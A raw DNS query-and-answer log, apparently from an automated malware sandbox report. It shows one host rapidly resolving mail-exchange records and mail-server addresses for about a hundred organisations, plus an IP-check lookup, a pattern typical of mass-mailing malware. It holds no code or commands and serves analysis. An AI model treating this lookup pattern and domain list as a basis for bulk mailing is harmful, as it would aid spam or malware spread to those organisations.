Aug 24, 2023 19:04:41.017250061 CEST	192.168.2.8	8.8.8.8	0x580f	Standard query (0)	grainscanada.gc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.060420036 CEST	192.168.2.8	8.8.8.8	0xe9b6	Standard query (0)	mx.ssan.egs-seg.gc.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:41.110347033 CEST	192.168.2.8	8.8.8.8	0x983c	Standard query (0)	stm.info	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.172653913 CEST	192.168.2.8	8.8.8.8	0xb986	Standard query (0)	stm-info.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:41.250639915 CEST	192.168.2.8	8.8.8.8	0x85c4	Standard query (0)	scotiabank.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.328197956 CEST	192.168.2.8	8.8.8.8	0x582f	Standard query (0)	toyota-boshoku.co.jp	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.439939022 CEST	192.168.2.8	8.8.8.8	0xe41c	Standard query (0)	mx2.hc576-93.ca.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:41.616012096 CEST	192.168.2.8	8.8.8.8	0x3552	Standard query (0)	gw3018.fortimail.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:41.627513885 CEST	192.168.2.8	8.8.8.8	0xc714	Standard query (0)	hatzolahofla.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:41.782258987 CEST	192.168.2.8	8.8.8.8	0xda4e	Standard query (0)	fitzmall.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.092668056 CEST	192.168.2.8	8.8.8.8	0xffa7	Standard query (0)	bigpond.net.au	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.122081041 CEST	192.168.2.8	8.8.8.8	0xeaf8	Standard query (0)	extmail.bpbb.bigpond.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:42.139431000 CEST	192.168.2.8	8.8.8.8	0x404e	Standard query (0)	gci.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.154870033 CEST	192.168.2.8	8.8.8.8	0x2b92	Standard query (0)	leduc-county.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.195380926 CEST	192.168.2.8	8.8.8.8	0xeacb	Standard query (0)	inbound.gci.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:42.234241962 CEST	192.168.2.8	8.8.8.8	0x8a81	Standard query (0)	fioptics.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.277864933 CEST	192.168.2.8	8.8.8.8	0x58b1	Standard query (0)	leduccounty-com01c.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:42.374666929 CEST	192.168.2.8	8.8.8.8	0x19ac	Standard query (0)	merelli.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.504034996 CEST	192.168.2.8	8.8.8.8	0xa333	Standard query (0)	ivey.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.624067068 CEST	192.168.2.8	8.8.8.8	0x526e	Standard query (0)	nb.sympatico.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.646953106 CEST	192.168.2.8	8.8.8.8	0xa03f	Standard query (0)	ivey-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:42.707778931 CEST	192.168.2.8	8.8.8.8	0x5eaf	Standard query (0)	mcc-east.mx.a.cloudfilter.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:42.732999086 CEST	192.168.2.8	8.8.8.8	0x62a7	Standard query (0)	everythinginkonline.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:42.909324884 CEST	192.168.2.8	8.8.8.8	0x8d80	Standard query (0)	pgmotors.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.030513048 CEST	192.168.2.8	8.8.8.8	0x632	Standard query (0)	tritechinc.biz	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.062207937 CEST	192.168.2.8	8.8.8.8	0x9ee5	Standard query (0)	mxa-00277d01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:43.124141932 CEST	192.168.2.8	8.8.8.8	0xcfe3	Standard query (0)	zulualphakilo.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.191226959 CEST	192.168.2.8	8.8.8.8	0x7eba	Standard query (0)	zulualphakilo-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:43.218693018 CEST	192.168.2.8	8.8.8.8	0xb419	Standard query (0)	douglas.bc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.248701096 CEST	192.168.2.8	8.8.8.8	0x4cd6	Standard query (0)	bresnan.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.344912052 CEST	192.168.2.8	8.8.8.8	0x891e	Standard query (0)	evansgrain.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.398578882 CEST	192.168.2.8	8.8.8.8	0x39c5	Standard query (0)	mx0.bresnan.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:43.405752897 CEST	192.168.2.8	8.8.8.8	0x13c1	Standard query (0)	accenture.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.441242933 CEST	192.168.2.8	8.8.8.8	0xc5d0	Standard query (0)	mx0a-001dcc01.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:43.467452049 CEST	192.168.2.8	8.8.8.8	0x6a44	Standard query (0)	davincibb.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.597345114 CEST	192.168.2.8	8.8.8.8	0xe48a	Standard query (0)	emirates.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.693726063 CEST	192.168.2.8	8.8.8.8	0xbb6e	Standard query (0)	jordanelectric.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:43.738331079 CEST	192.168.2.8	8.8.8.8	0x4694	Standard query (0)	mx.davincibb.net.cust.a.hostedemail.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:44.036514997 CEST	192.168.2.8	8.8.8.8	0x8d80	Standard query (0)	pgmotors.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.044329882 CEST	192.168.2.8	8.8.8.8	0x762d	Standard query (0)	ctoclogistics.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.086117983 CEST	192.168.2.8	8.8.8.8	0xb182	Standard query (0)	ctoclogistics-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:44.140583992 CEST	192.168.2.8	8.8.8.8	0xb77c	Standard query (0)	cu-portland.edu	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.247579098 CEST	192.168.2.8	8.8.8.8	0x6cef	Standard query (0)	michigan.gov	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.352231026 CEST	192.168.2.8	8.8.8.8	0x5222	Standard query (0)	michigan-gov.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:44.530699015 CEST	192.168.2.8	8.8.8.8	0xf89c	Standard query (0)	mackenzieinvestments.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.704309940 CEST	192.168.2.8	8.8.8.8	0xe04	Standard query (0)	una.ab.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.708038092 CEST	192.168.2.8	8.8.8.8	0x8997	Standard query (0)	marcotec.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:44.709012985 CEST	192.168.2.8	8.8.8.8	0x88d8	Standard query (0)	mackenzieinvestments-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:45.095777035 CEST	192.168.2.8	8.8.8.8	0x68fb	Standard query (0)	mail.una.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:45.121391058 CEST	192.168.2.8	8.8.8.8	0x2d87	Standard query (0)	rcgt.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.346671104 CEST	192.168.2.8	8.8.8.8	0x4f65	Standard query (0)	ryerson.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.430483103 CEST	192.168.2.8	8.8.8.8	0xa3b6	Standard query (0)	goclio.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.514544010 CEST	192.168.2.8	8.8.8.8	0x3fe	Standard query (0)	umontreal.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.629586935 CEST	192.168.2.8	8.8.8.8	0x829b	Standard query (0)	capgemini.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:45.631433964 CEST	192.168.2.8	8.8.8.8	0x54ee	Standard query (0)	umontreal-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.443233967 CEST	192.168.2.8	8.8.8.8	0xf085	Standard query (0)	mx1.hc756-17.eu.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.575495958 CEST	192.168.2.8	8.8.8.8	0x86b2	Standard query (0)	retailapproach.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:48.583635092 CEST	192.168.2.8	8.8.8.8	0xc305	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.803920984 CEST	192.168.2.8	8.8.8.8	0x56f5	Standard query (0)	retailapproach.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.810426950 CEST	192.168.2.8	8.8.8.8	0x887	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:48.879817963 CEST	192.168.2.8	8.8.8.8	0x31b6	Standard query (0)	ocsb.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:48.985152006 CEST	192.168.2.8	8.8.8.8	0xe7dd	Standard query (0)	live.com.au	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:48.985574961 CEST	192.168.2.8	8.8.8.8	0x640c	Standard query (0)	crimsoncovehomes.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.048408985 CEST	192.168.2.8	8.8.8.8	0xf7b5	Standard query (0)	moen.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.082712889 CEST	192.168.2.8	8.8.8.8	0x510b	Standard query (0)	mxa-004c9101.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:49.255506992 CEST	192.168.2.8	8.8.8.8	0x918a	Standard query (0)	apc.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:49.260024071 CEST	192.168.2.8	8.8.8.8	0xec8b	Standard query (0)	centurylink.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.268810034 CEST	192.168.2.8	8.8.8.8	0x8f98	Standard query (0)	crimsoncovehomes-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:49.538530111 CEST	192.168.2.8	8.8.8.8	0xfd95	Standard query (0)	gmx.de	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.606853962 CEST	192.168.2.8	8.8.8.8	0x4ccf	Standard query (0)	studiosysadmins.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.645692110 CEST	192.168.2.8	8.8.8.8	0x748	Standard query (0)	studiosysadmins-com.mail.eo.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:49.754995108 CEST	192.168.2.8	8.8.8.8	0x61cd	Standard query (0)	live-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:49.765324116 CEST	192.168.2.8	8.8.8.8	0x3dc7	Standard query (0)	thoughtexchange.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:49.863183022 CEST	192.168.2.8	8.8.8.8	0x39af	Standard query (0)	comcast.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:50.022645950 CEST	192.168.2.8	8.8.8.8	0x4784	Standard query (0)	mx1a1.comcast.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:50.178234100 CEST	192.168.2.8	8.8.8.8	0x42c0	Standard query (0)	opg.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:50.316014051 CEST	192.168.2.8	8.8.8.8	0xfa14	Standard query (0)	opg-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:50.539176941 CEST	192.168.2.8	8.8.8.8	0x7772	Standard query (0)	taqaglobal.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:50.578243017 CEST	192.168.2.8	8.8.8.8	0xe425	Standard query (0)	taqaglobal-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:50.937109947 CEST	192.168.2.8	8.8.8.8	0x299	Standard query (0)	betterthannature.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:50.971086025 CEST	192.168.2.8	8.8.8.8	0x2c0b	Standard query (0)	betterthannature-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:50.999380112 CEST	192.168.2.8	8.8.8.8	0x4a44	Standard query (0)	nam.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:51.094954014 CEST	192.168.2.8	8.8.8.8	0xcfa8	Standard query (0)	eaglesflight.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:51.191606998 CEST	192.168.2.8	8.8.8.8	0x640e	Standard query (0)	walmart.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:51.212939024 CEST	192.168.2.8	8.8.8.8	0xf324	Standard query (0)	mxa-000c7201.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:51.262130976 CEST	192.168.2.8	8.8.8.8	0x38ce	Standard query (0)	eaglesflight-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:51.378699064 CEST	192.168.2.8	8.8.8.8	0xa4eb	Standard query (0)	encana.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:51.647833109 CEST	192.168.2.8	8.8.8.8	0x9fac	Standard query (0)	mxa-001a8a02.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.374447107 CEST	192.168.2.8	8.8.8.8	0x2c5d	Standard query (0)	mmm.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:52.405344009 CEST	192.168.2.8	8.8.8.8	0x5bb0	Standard query (0)	ermigroup.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:52.410147905 CEST	192.168.2.8	8.8.8.8	0xa429	Standard query (0)	mx2.hc3069-42.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:52.484375000 CEST	192.168.2.8	8.8.8.8	0xf8bb	Standard query (0)	attbi.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:53.254010916 CEST	192.168.2.8	8.8.8.8	0xff9e	Standard query (0)	pacwill.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:53.286823034 CEST	192.168.2.8	8.8.8.8	0x729d	Standard query (0)	pacwill-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:53.344747066 CEST	192.168.2.8	8.8.8.8	0x8e09	Standard query (0)	ohl.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:53.518789053 CEST	192.168.2.8	8.8.8.8	0x8f6c	Standard query (0)	mxb-0020e701.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:53.569078922 CEST	192.168.2.8	8.8.8.8	0x8d2b	Standard query (0)	alignedcapitalpartners.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:53.608347893 CEST	192.168.2.8	8.8.8.8	0x446d	Standard query (0)	alignedcapitalpartners-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:53.645226955 CEST	192.168.2.8	8.8.8.8	0x2b9e	Standard query (0)	gouv-qc-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:53.816942930 CEST	192.168.2.8	8.8.8.8	0xbf8	Standard query (0)	lockheedmartin.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:53.910136938 CEST	192.168.2.8	8.8.8.8	0xad8b	Standard query (0)	canadacartage.com	MX (Mail exchange)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 24, 2023 19:03:14.862627029 CEST	8.8.8.8	192.168.2.8	0xcf05	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:14.862627029 CEST	8.8.8.8	192.168.2.8	0xcf05	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:14.862627029 CEST	8.8.8.8	192.168.2.8	0xcf05	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:14.890564919 CEST	8.8.8.8	192.168.2.8	0x2ecf	No error (0)	mta7.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:14.890564919 CEST	8.8.8.8	192.168.2.8	0x2ecf	No error (0)	mta7.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:14.890564919 CEST	8.8.8.8	192.168.2.8	0x2ecf	No error (0)	mta7.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:14.890564919 CEST	8.8.8.8	192.168.2.8	0x2ecf	No error (0)	mta7.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:14.890564919 CEST	8.8.8.8	192.168.2.8	0x2ecf	No error (0)	mta7.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:14.890564919 CEST	8.8.8.8	192.168.2.8	0x2ecf	No error (0)	mta7.am0.yahoodns.net		67.195.228.94	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:14.890564919 CEST	8.8.8.8	192.168.2.8	0x2ecf	No error (0)	mta7.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:14.890564919 CEST	8.8.8.8	192.168.2.8	0x2ecf	No error (0)	mta7.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:15.333909035 CEST	8.8.8.8	192.168.2.8	0x69b6	No error (0)	icanhazip.com		104.18.115.97	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:15.333909035 CEST	8.8.8.8	192.168.2.8	0x69b6	No error (0)	icanhazip.com		104.18.114.97	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.174294949 CEST	8.8.8.8	192.168.2.8	0x36dc	No error (0)	btinternet.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.183218002 CEST	8.8.8.8	192.168.2.8	0x8e19	No error (0)	wizwire.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.195688963 CEST	8.8.8.8	192.168.2.8	0xb22e	No error (0)	mx.lb.btinternet.com		213.120.69.2	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.239618063 CEST	8.8.8.8	192.168.2.8	0xa037	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.386780977 CEST	8.8.8.8	192.168.2.8	0x918f	No error (0)	icloud.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.386780977 CEST	8.8.8.8	192.168.2.8	0x918f	No error (0)	icloud.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.415002108 CEST	8.8.8.8	192.168.2.8	0x7fa0	No error (0)	mx01.mail.icloud.com		17.57.156.30	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.415002108 CEST	8.8.8.8	192.168.2.8	0x7fa0	No error (0)	mx01.mail.icloud.com		17.42.251.62	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.415002108 CEST	8.8.8.8	192.168.2.8	0x7fa0	No error (0)	mx01.mail.icloud.com		17.57.152.5	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.415002108 CEST	8.8.8.8	192.168.2.8	0x7fa0	No error (0)	mx01.mail.icloud.com		17.57.154.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.415002108 CEST	8.8.8.8	192.168.2.8	0x7fa0	No error (0)	mx01.mail.icloud.com		17.57.155.34	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.415002108 CEST	8.8.8.8	192.168.2.8	0x7fa0	No error (0)	mx01.mail.icloud.com		17.56.9.29	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.444808006 CEST	8.8.8.8	192.168.2.8	0x54d1	No error (0)	roadrunner.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.474425077 CEST	8.8.8.8	192.168.2.8	0xdf4b	No error (0)	pkvw-mx.msg.pkvw.co.charter.net		47.43.26.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.478199005 CEST	8.8.8.8	192.168.2.8	0x6c2d	No error (0)	secure.wizwire.com		108.160.158.250	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.490313053 CEST	8.8.8.8	192.168.2.8	0xcac0	No error (0)	msn-com.olc.protection.outlook.com		104.47.73.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.490313053 CEST	8.8.8.8	192.168.2.8	0xcac0	No error (0)	msn-com.olc.protection.outlook.com		104.47.74.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.666102886 CEST	8.8.8.8	192.168.2.8	0xab1e	No error (0)	me.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.666102886 CEST	8.8.8.8	192.168.2.8	0xab1e	No error (0)	me.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.699402094 CEST	8.8.8.8	192.168.2.8	0x9156	No error (0)	att.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.699402094 CEST	8.8.8.8	192.168.2.8	0x9156	No error (0)	att.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.699402094 CEST	8.8.8.8	192.168.2.8	0x9156	No error (0)	att.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.699402094 CEST	8.8.8.8	192.168.2.8	0x9156	No error (0)	att.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.720594883 CEST	8.8.8.8	192.168.2.8	0x86fc	No error (0)	al-ip4-mx-vip1.prodigy.net		144.160.235.143	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.727158070 CEST	8.8.8.8	192.168.2.8	0x92e2	No error (0)	netzero.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.727158070 CEST	8.8.8.8	192.168.2.8	0x92e2	No error (0)	netzero.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.756865025 CEST	8.8.8.8	192.168.2.8	0x9fbc	No error (0)	mx.vgs.untd.com		64.136.52.37	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.908632040 CEST	8.8.8.8	192.168.2.8	0x6f1d	No error (0)	ibl.bm			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.908632040 CEST	8.8.8.8	192.168.2.8	0x6f1d	No error (0)	ibl.bm			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.093945026 CEST	8.8.8.8	192.168.2.8	0x68	No error (0)	mx1.myone.bm	mx1.emailsrvr.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 24, 2023 19:03:18.093945026 CEST	8.8.8.8	192.168.2.8	0x68	No error (0)	mx1.emailsrvr.com		173.203.187.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:18.607853889 CEST	8.8.8.8	192.168.2.8	0xe0b3	No error (0)	gowlings.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.607853889 CEST	8.8.8.8	192.168.2.8	0xe0b3	No error (0)	gowlings.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.646327972 CEST	8.8.8.8	192.168.2.8	0x6c05	No error (0)	juno.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.646327972 CEST	8.8.8.8	192.168.2.8	0x6c05	No error (0)	juno.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.697573900 CEST	8.8.8.8	192.168.2.8	0x4e95	No error (0)	butow.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.697573900 CEST	8.8.8.8	192.168.2.8	0x4e95	No error (0)	butow.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.697573900 CEST	8.8.8.8	192.168.2.8	0x4e95	No error (0)	butow.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.697573900 CEST	8.8.8.8	192.168.2.8	0x4e95	No error (0)	butow.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.738442898 CEST	8.8.8.8	192.168.2.8	0x36c3	No error (0)	mxa-00153401.gslb.pphosted.com		67.231.158.134	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:18.741172075 CEST	8.8.8.8	192.168.2.8	0x92ea	No error (0)	aspmx.l.google.com		108.177.126.27	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:18.788050890 CEST	8.8.8.8	192.168.2.8	0x3934	No error (0)	aim.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.818432093 CEST	8.8.8.8	192.168.2.8	0xb92a	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:18.818432093 CEST	8.8.8.8	192.168.2.8	0xb92a	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:18.818432093 CEST	8.8.8.8	192.168.2.8	0xb92a	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:18.818432093 CEST	8.8.8.8	192.168.2.8	0xb92a	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:18.818432093 CEST	8.8.8.8	192.168.2.8	0xb92a	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:18.818432093 CEST	8.8.8.8	192.168.2.8	0xb92a	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:18.858556032 CEST	8.8.8.8	192.168.2.8	0x6ee4	No error (0)	ymail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.858556032 CEST	8.8.8.8	192.168.2.8	0x6ee4	No error (0)	ymail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.858556032 CEST	8.8.8.8	192.168.2.8	0x6ee4	No error (0)	ymail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.930809021 CEST	8.8.8.8	192.168.2.8	0xae3e	No error (0)	live.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.089369059 CEST	8.8.8.8	192.168.2.8	0xef01	No error (0)	live-com.olc.protection.outlook.com		104.47.59.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:19.089369059 CEST	8.8.8.8	192.168.2.8	0xef01	No error (0)	live-com.olc.protection.outlook.com		104.47.55.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:19.315759897 CEST	8.8.8.8	192.168.2.8	0xddaf	No error (0)	ep.mk			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.318831921 CEST	8.8.8.8	192.168.2.8	0x2de2	No error (0)	hgchristian.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.318831921 CEST	8.8.8.8	192.168.2.8	0x2de2	No error (0)	hgchristian.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.318831921 CEST	8.8.8.8	192.168.2.8	0x2de2	No error (0)	hgchristian.org			MX (Mail exchange)	IN (0x0001)	false
